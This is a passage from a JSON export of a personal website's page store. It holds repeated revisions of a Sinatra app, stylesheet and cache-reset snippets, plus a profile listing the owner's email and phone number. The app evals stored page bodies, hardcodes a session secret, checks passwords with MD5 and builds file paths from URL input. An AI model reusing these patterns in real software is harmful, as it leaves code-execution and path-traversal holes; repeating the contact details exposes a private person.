#{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n key = Digest::MD5.hexdigest(url)\r\n redis.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n key = Digest::MD5.hexdigest(url)\r\n redis.set(key)\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n require(\"open-uri\")\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n","created_at":"2017-03-16T09:51:44.000Z","updated_at":"2017-03-16T09:51:44.000Z"},{"id":3020,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n key = Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n key = Digest::MD5.hexdigest(url)\r\n REDIS.set(key)\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n","created_at":"2017-03-16T09:53:40.000Z","updated_at":"2017-03-16T09:53:40.000Z"},{"id":3021,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n key = Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n key = Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n","created_at":"2017-03-16T09:55:04.000Z","updated_at":"2017-03-16T09:55:04.000Z"},{"id":3022,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Job :** Software Engineer \r\n**Face :** \r\n![img](http://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)\r\n\r\n","created_at":"2017-03-16T09:56:59.000Z","updated_at":"2017-03-16T09:56:59.000Z"},{"id":3023,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2017-03-21T09:44:15.000Z","updated_at":"2017-03-21T09:44:15.000Z"},{"id":3024,"name":"reset_cache","body":"ruby\r\nif request.params[\"name\"] == 'kogaidan'\r\n REDIS.del(*REDIS.keys(\"*\"))\r\nend\r\n\"DONE\"","created_at":"2017-03-24T05:41:17.000Z","updated_at":"2017-03-24T05:41:17.000Z"},{"id":3025,"name":"reset_cache","body":"ruby\r\nif request.params[\"name\"] == 'kogaidan'\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n \"DONE\"\r\nelse\r\n \"SHIT\"\r\nend","created_at":"2017-04-25T11:32:30.000Z","updated_at":"2017-04-25T11:32:30.000Z"},{"id":3026,"name":"reset_cache","body":"ruby\r\nif request.params[\"name\"] == 'kogaidan'\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n \"DONE\"\r\nelse\r\n \"SHIT\"\r\nend","created_at":"2017-05-20T00:40:35.000Z","updated_at":"2017-05-20T00:40:35.000Z"},{"id":3027,"name":"reset_cache","body":"ruby\r\nif request.params[\"name\"] == 'kogaidan'\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n \"DONE #{REDIS.get(\"ssig33comprefix\")}\"\r\nelse\r\n \"SHIT\"\r\nend","created_at":"2017-05-20T00:40:52.000Z","updated_at":"2017-05-20T00:40:52.000Z"},{"id":3028,"name":"reset_cache","body":"ruby\r\nif request.params[\"name\"] == 'kogaidan'\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n \"DONE #{REDIS.get(\"ssig33comprefix\")} #{rand(256**16).to_s(16)}\"\r\nelse\r\n \"SHIT\"\r\nend","created_at":"2017-05-20T00:42:56.000Z","updated_at":"2017-05-20T00:42:56.000Z"},{"id":3029,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 